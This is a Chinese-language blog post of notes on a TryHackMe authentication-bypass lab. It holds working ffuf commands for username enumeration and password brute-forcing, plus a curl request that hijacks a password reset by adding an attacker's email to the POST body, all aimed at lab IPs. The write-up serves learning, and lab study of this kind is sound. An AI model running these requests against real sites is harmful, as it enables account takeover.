thm.身份验证绕过

Last updated on 6 months ago

用户名枚举

感觉这个用burp可能会更好理解一点,thm给的还是ffuf(真强啊这工具)

1
ffuf -w /usr/share/wordlists/SecLists/Usernames/Names/names.txt -X POST -d "username=FUZZ&email=x&password=x&cpassword=x" -H "Content-Type: application/x-www-form-urlencoded" -u http://10.10.90.74/customers/signup -mr "username already exists"

-w 字典 -x 请求方法,不写-x则默认GET -H是请求头,这里应用的是Content-Type:的内容,也可以指定别的报文内容(有点类似hackbar),x-www-form-urlencoded是指定url编码,这是常见的post请求的内容,
-mr是指定响应返回值,即只有响应用户名已存在的才会被返回,-d是需要用FUZZ替换的内容

密码暴力破解

前面发现的用户名,这里存储到一个文件中用以爆破,
-e是允许转义字符存在,>是替换/存入全部内容,>>是追加

1
ffuf -w username.txt:W1,/usr/share/wordlists/seclists/Passwords/Common-Credentials/10-million-password-list-top-100.txt:W2 -X POST -d "username=W1&password=W2" -H "Content-Type: application/x-www-form-urlencoded" -u http://10.10.90.74/customers/login -fc 200

就还是简单的爆破,跟burp本质没区别,感觉这个了解就行

逻辑缺陷

这里很简略的提了一下,稍微说了下强比较

1
curl 'http://10.10.253.36/customers/reset?email=robert%40acmeitsupport.thm' -H 'Content-Type: application/x-www-form-urlencoded' -d 'username=robert&[email protected]'

前面是重置用户密码的网站,这里是先输入用户邮箱,然后进入到http://10.10.253.36/customers/reset?email=robert%40acmeitsupport.thm这个页面,这时再输入用户名(正常重置密码感觉应该不是这个顺序),这时再用curl访问请求,同时再次提交了一个post请求的内容:email改成我们自己创建的一个账户了,虽然本来系统已经获取了之前的用户邮箱,但这里是用post请求提交的,具有更高的优先级,就会把本来应该发给robert的重置密码的邮箱的消息发送到了hacker的邮箱


thm.身份验证绕过
https://blog.yblue.top/2023/08/21/thm-身份验证绕过/
Posted on
August 21, 2023
Licensed under